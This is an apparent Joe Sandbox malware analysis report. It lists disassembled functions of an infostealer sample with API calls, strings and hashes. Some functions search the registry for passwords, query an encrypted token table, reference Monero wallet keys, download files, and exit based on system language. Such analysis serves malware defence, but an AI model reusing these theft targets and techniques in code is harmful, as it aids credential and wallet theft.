Instruction Fuzzy Hash: DA314572900209EFCB48EBF4DC96DFF77BABB54302F184118F102A7150DA38A986CB95

Function 006172D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00617314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0061733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006173B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0061740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00617452
HeapFree.KERNEL32(00000000), ref: 00617459
task.LIBCPMTD ref: 00617555

Strings

Password, xrefs: 00617401

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 146ad454b5422c95d7177e5dcfa780b126ce4a59dd4064a66ed5ba66be2f1262
Instruction ID: e3d60dca97d9b864a8f76ea3a7627dd512c42b65782a29d01ea653571298313f
Opcode Fuzzy Hash: 146ad454b5422c95d7177e5dcfa780b126ce4a59dd4064a66ed5ba66be2f1262
Instruction Fuzzy Hash: 58612AB580426C9BDB24DB50CC51BD9B7B9BF48300F0481E9E689A6241EF746BC9CFA4

Function 00628100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0111E0E0,00000000,?,00630E2C,00000000,?,00000000), ref: 00628130
RtlAllocateHeap.NTDLL(00000000), ref: 00628137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00628158
__aulldiv.LIBCMT ref: 00628172
__aulldiv.LIBCMT ref: 00628180
wsprintfA.USER32 ref: 006281AC

Strings

%d MB, xrefs: 006281A3
@, xrefs: 0062814D

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: fba0dcf1efcaa87842a644839b7be4f1df8a3b8ab3376d9c9e8b643638f9342b
Instruction ID: 4f7b030446f2db86d9b4aef1193f157752b44604807111064fcb09d09f50ad36
Opcode Fuzzy Hash: fba0dcf1efcaa87842a644839b7be4f1df8a3b8ab3376d9c9e8b643638f9342b
Instruction Fuzzy Hash: FA213BB1E44718ABDB04DFD4DC4AFAEB7B9FB44B01F204219F605BB280C77869018BA5

Function 006160A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00614839
Part of subcall function 006147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00614849

InternetOpenA.WININET(00630DF7,00000001,00000000,00000000,00000000), ref: 0061610F
StrCmpCA.SHLWAPI(?,0111E858), ref: 00616147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0061618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006161B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006161DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0061620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00616249
InternetCloseHandle.WININET(?), ref: 00616253
InternetCloseHandle.WININET(00000000), ref: 00616260

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 24eb32c1b665959e34a1c4ffca3fee8b656c8c640bd7dffca347e02eb2e01c22
Instruction ID: 8e921aff2de7d59f7fe509e0f8e4132f7f1a06aee8925919792ddc59369431b9
Opcode Fuzzy Hash: 24eb32c1b665959e34a1c4ffca3fee8b656c8c640bd7dffca347e02eb2e01c22
Instruction Fuzzy Hash: D45141B5900218ABDB24DFA0DC45BEE77BAFB48701F108198F605A71C1DBB46B85CF95

Function 0061BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

lstrlen.KERNEL32(00000000), ref: 0061BC9F

Part of subcall function 00628E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00628E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0061BCCD
lstrlen.KERNEL32(00000000), ref: 0061BDA5
lstrlen.KERNEL32(00000000), ref: 0061BDB9

Strings

AccountTokens, xrefs: 0061BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0061BBEB
AccountTokens, xrefs: 0061BB49
AccountId, xrefs: 0061BCC4

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 00dc0699e6dff8987cec83bb24dd68f7ee625ff1b42f3e5e7929ea128f3b9af4
Instruction ID: c71bbb66fd0487c6e6b7cd932c49e980bf9778f6cc57ccfa8e2c927f1354c8de
Opcode Fuzzy Hash: 00dc0699e6dff8987cec83bb24dd68f7ee625ff1b42f3e5e7929ea128f3b9af4
Instruction Fuzzy Hash: F7B170719105189BDB48FBE0EC96EEE733ABF14300F44411CF506A6091EF786A49CFAA

Function 00626770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00626774
ExitProcess.KERNEL32 ref: 006267A5
ExitProcess.KERNEL32 ref: 006267AF
ExitProcess.KERNEL32 ref: 006267B9
ExitProcess.KERNEL32 ref: 006267C3
ExitProcess.KERNEL32 ref: 006267CD

Strings

*, xrefs: 0062678C

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 6906ce3a6e6ff6f3c9e93a31d14b49c6b48b6aec5082a3271972b3d36050900c
Instruction ID: aa1d5e312c54ff73e0d6cc7df8e3fa0abcd03d59348e38e2c8bef226ec68bf53
Opcode Fuzzy Hash: 6906ce3a6e6ff6f3c9e93a31d14b49c6b48b6aec5082a3271972b3d36050900c
Instruction Fuzzy Hash: FCF0583090831DEFD348AFE0E949B6CBF70FB08707F040298F64986390EA784B419B96

Function 00614FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00614FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00614FD1
InternetOpenA.WININET(00630DDF,00000000,00000000,00000000,00000000), ref: 00614FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00615011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00615041
InternetCloseHandle.WININET(?), ref: 006150B9
InternetCloseHandle.WININET(?), ref: 006150C6

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f52f2c071e992d4376198f2c893236f189420952209a8855e638c2c05293bfd6
Instruction ID: 521efd41b13d2b61b14c5e3f96d9e3dafd804cc74c6f03788bd7dfd4ed114dc3
Opcode Fuzzy Hash: f52f2c071e992d4376198f2c893236f189420952209a8855e638c2c05293bfd6
Instruction Fuzzy Hash: 7A3106B4A00218EBDB24CF94DC85BDCBBB5FB48705F1081D8EA09A7280C7746AC58F99

Function 006283DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00628426
wsprintfA.USER32 ref: 00628459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0062847B
RegCloseKey.ADVAPI32(00000000), ref: 0062848C
RegCloseKey.ADVAPI32(00000000), ref: 00628499

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

RegQueryValueExA.ADVAPI32(00000000,0111E020,00000000,000F003F,?,00000400), ref: 006284EC
lstrlen.KERNEL32(?), ref: 00628501
RegQueryValueExA.ADVAPI32(00000000,0111DED0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00630B34), ref: 00628599
RegCloseKey.ADVAPI32(00000000), ref: 00628608
RegCloseKey.ADVAPI32(00000000), ref: 0062861A

Strings

%s\%s, xrefs: 0062844D

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 624db7ee16f7af8360770763df3e445d1742393f2362296340c20a45811e2d60
Instruction ID: 0d96a200b5d109c18f99162a8af5eadc1527e7445b11b8ecdebb933a7b17aeb3
Opcode Fuzzy Hash: 624db7ee16f7af8360770763df3e445d1742393f2362296340c20a45811e2d60
Instruction Fuzzy Hash: EC210A7191022C9FDB24DB54DC85FE9B7B9FB48701F00C198E60996240DF75AA85CFD4

Function 00627690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006276A4
RtlAllocateHeap.NTDLL(00000000), ref: 006276AB
RegOpenKeyExA.ADVAPI32(80000002,0110BF30,00000000,00020119,00000000), ref: 006276DD
RegQueryValueExA.ADVAPI32(00000000,0111DE88,00000000,00000000,?,000000FF), ref: 006276FE
RegCloseKey.ADVAPI32(00000000), ref: 00627708

Strings

Windows 11, xrefs: 006276BD

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 6aa2c418ec12c3da4a0774eda094eb0399f0f4d107ce17fffa25de4f96cef5f9
Instruction ID: 9ada7859297bb5e97547787359bd45474a603599975f419457040e919f050147
Opcode Fuzzy Hash: 6aa2c418ec12c3da4a0774eda094eb0399f0f4d107ce17fffa25de4f96cef5f9
Instruction Fuzzy Hash: E90167B5A04304BFDB04DBE4EC99FAD7BB9FB48702F104154FA04D7290D67499048F51

Function 00627720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627734
RtlAllocateHeap.NTDLL(00000000), ref: 0062773B
RegOpenKeyExA.ADVAPI32(80000002,0110BF30,00000000,00020119,006276B9), ref: 0062775B
RegQueryValueExA.ADVAPI32(006276B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0062777A
RegCloseKey.ADVAPI32(006276B9), ref: 00627784

Strings

CurrentBuildNumber, xrefs: 00627771

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 25ad549550cb23d35099ce7ef3f40316c9f88a78dfb9069e191071de09e61f0d
Instruction ID: b556ab90e389b37492019670c4fe6127b912fe4ad31c324f02cbadca36ccf053
Opcode Fuzzy Hash: 25ad549550cb23d35099ce7ef3f40316c9f88a78dfb9069e191071de09e61f0d
Instruction Fuzzy Hash: 5A0167B5A40308BFDB04DFE4DC89FAEBBB9FB48702F104258FA05A7281D67455008F51

Function 006292E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:b,80000000,00000003,00000000,00000003,00000080,00000000,?,00623AEE,?), ref: 006292FC
GetFileSizeEx.KERNEL32(000000FF,:b), ref: 00629319
CloseHandle.KERNEL32(000000FF), ref: 00629327

Strings

:b, xrefs: 006292F8, 006292FB
:b, xrefs: 00629311, 0062933D, 00629314

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :b$:b
API String ID: 1378416451-696514854
Opcode ID: 1a50287dfb9704e5f07c55c1454a44e4436cd4273c2cc6e589a721059ba1bce1
Instruction ID: 53252c7a0dd57a6b5335f6a4cd53653f69116142474f799209a96e0d0f28550f
Opcode Fuzzy Hash: 1a50287dfb9704e5f07c55c1454a44e4436cd4273c2cc6e589a721059ba1bce1
Instruction Fuzzy Hash: 75F03C35E40308BBDF14DBB0EC49B9E77FABB88711F108254B651A72C0D67596018F50

Function 006240B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006240D5
RegOpenKeyExA.ADVAPI32(80000001,0111DC20,00000000,00020119,?), ref: 006240F4
